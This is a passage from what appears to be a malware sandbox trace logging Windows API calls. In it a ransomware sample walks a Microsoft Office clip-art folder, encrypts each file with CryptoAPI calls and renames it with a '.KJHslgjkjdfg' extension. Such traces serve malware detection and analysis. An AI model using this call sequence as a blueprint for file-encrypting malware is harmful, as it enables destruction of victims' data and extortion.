hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.601] GetProcessHeap () returned 0x990000 [0198.601] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.kjhslgjkjdfg")) returned 1 [0198.602] CloseHandle (hObject=0x130) returned 1 [0198.603] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0198.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.604] GetProcessHeap () returned 0x990000 [0198.604] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.604] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.604] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.606] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.606] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.606] GetProcessHeap () returned 0x990000 [0198.606] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.606] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.606] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.606] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.607] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.607] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.607] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.607] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4124, lpOverlapped=0x0) returned 1 [0198.608] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130, dwBufLen=0x4130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130) returned 1 [0198.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.609] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4130, lpOverlapped=0x0) returned 1 [0198.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.609] SetEndOfFile (hFile=0x130) returned 1 [0198.612] GetProcessHeap () returned 0x990000 [0198.612] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.612] GetProcessHeap () returned 0x990000 [0198.612] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.kjhslgjkjdfg")) returned 1 [0198.613] CloseHandle (hObject=0x130) returned 1 [0198.613] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0198.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.614] GetProcessHeap () returned 0x990000 [0198.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.614] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.617] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.617] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.617] GetProcessHeap () returned 0x990000 [0198.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.617] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.617] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.617] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.617] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.617] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.617] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.617] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.618] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.618] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.618] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13c4, lpOverlapped=0x0) returned 1 [0198.618] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0) returned 1 [0198.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.619] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13d0, lpOverlapped=0x0) returned 1 [0198.619] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.619] SetEndOfFile (hFile=0x130) returned 1 [0198.622] GetProcessHeap () returned 0x990000 [0198.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.622] GetProcessHeap () returned 0x990000 [0198.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.kjhslgjkjdfg")) returned 1 [0198.623] CloseHandle (hObject=0x130) returned 1 [0198.623] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0198.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.625] GetProcessHeap () returned 0x990000 [0198.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.625] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.625] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.627] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.628] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.628] GetProcessHeap () returned 0x990000 [0198.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.628] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.628] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.628] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.629] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x35bc, lpOverlapped=0x0) returned 1 [0198.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35c0) returned 1 [0198.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.630] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x35c0, lpOverlapped=0x0) returned 1 [0198.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.630] SetEndOfFile (hFile=0x130) returned 1 [0198.633] GetProcessHeap () returned 0x990000 [0198.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.633] GetProcessHeap () returned 0x990000 [0198.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.kjhslgjkjdfg")) returned 1 [0198.634] CloseHandle (hObject=0x130) returned 1 [0198.635] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0198.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.635] GetProcessHeap () returned 0x990000 [0198.635] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.636] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.638] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.638] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.638] GetProcessHeap () returned 0x990000 [0198.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.639] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.639] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.639] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.639] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.639] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a18, lpOverlapped=0x0) returned 1 [0198.640] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a20, dwBufLen=0x2a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a20) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.641] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a20, lpOverlapped=0x0) returned 1 [0198.641] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.641] SetEndOfFile (hFile=0x130) returned 1 [0198.644] GetProcessHeap () returned 0x990000 [0198.644] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.644] GetProcessHeap () returned 0x990000 [0198.644] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.kjhslgjkjdfg")) returned 1 [0198.646] CloseHandle (hObject=0x130) returned 1 [0198.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0198.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.648] GetProcessHeap () returned 0x990000 [0198.648] 